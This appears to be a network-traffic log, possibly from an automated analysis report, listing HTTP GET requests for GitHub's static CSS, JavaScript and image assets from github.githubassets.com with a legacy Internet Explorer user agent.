Source: global traffic	HTTP traffic detected: GET /assets/site-fbd7cf8f6ba2.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/discussions-adf1d1b8b95c.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/home-339181319b7e.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/primer-react-css.8879c83c1311e6328466.module.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/wp-runtime-f35b332dbe90.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_dompurify_dist_purify_js-b73fdff77a4e.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js-56729c905fe2.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_arianotify-polyfill_ariaNotify-polyfill_js-node_modules_github_mi-247092-b9c7cf3107b7.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/environment-2f240f7ed1b3.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/ui_packages_failbot_failbot_ts-aabfa4ec15fe.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_behaviors_dist_esm_index_mjs-4aa4b0e95669.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-f690fd9ae3d5.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_auto-complete-element_dist_index_js-a164c5ea9f62.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_relative-time-element_dist_index_js-6d3967acd51c.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_text-expander-element_dist_index_js-e40ed7658a74.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-d1a841-8f251a0656e7.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-f4b251-f7c3b6081b19.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-6b2a62-6fef0f2ad42a.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-eb9d54-74622d897749.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/github-elements-36d7dcef5a08.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/element-registry-f52a50a0449b.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_primer_live-region-element_dis-428401-bb66ac5d7472.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_braintree_browser-detection_dist_browser-detection_js-node_modules_githu-bb80ec-634de60bacfa.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_lit-html_lit-html_js-ce7225a304c5.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1-e6893db9c19e.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_morphdom_dist_morphdom-e-7c534c-f8a5485c982a.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f-6cf3320416b8.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-858e043fcf76.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_esm_js-node_modules_stacktrace-pa-a71630-67856ad29bae.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_color-convert_index_js-0e07cc183eed.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_quote-selection_dist_index_js-node_modules_github_session-resume_-9a8cd2-373766bf71f1.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/ui_packages_updatable-content_updatable-content_ts-3f4401350bd7.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_sso_ts-ui_packages-900dde-ab87c1d6c5c8.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_sticky-scroll-into-view_ts-112600808cf9.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-d0d0a6-6faacedf87fe.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-aeae6fcdf371.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/behaviors-b32b736e8b72.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-bf7e5a3732fd.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/notifications-global-54f34167118d.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-bae876-1e5b19a38261.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/marketing-872ff8663359.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/marketing-experiments-6794cdd7dce1.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/home-fa7c9cc8a53c.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/webgl-globe-b8ac95da6496.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_webgl-globe_dist_js_main_js-7ace716f3606.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/react-lib-7b7b5264f6c1.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_primer_react_lib-esm_Fea-39267a-9ffd541aafbc.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_Button_Button_js-f36ad879d477.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_js-e39b44f27fbb.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js-540a2acf621f.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_KeybindingHint_KeybindingHint_js-node_modules_githu-3fe5e5-779b0a7957e4.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_Dialog_Dialog_js-node_modules_primer_react_lib-esm_-34d71e-a36ca1cac968.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/ui_packages_react-core_create-browser-history_ts-ui_packages_react-core_AppContextProvider_ts-ffb979-ed6ff1fbeca4.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/keyboard-shortcuts-dialog-3d3b90edc171.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/sessions-f3ddee0032e4.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-9a621ecbf672.js HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/thumbnail-31b2a20df6fc.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/play-1844e8414ade.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/hero-desktop-a38b0fd77b6c.webp HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/hero-mobile-7163f4f5de41.webp HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
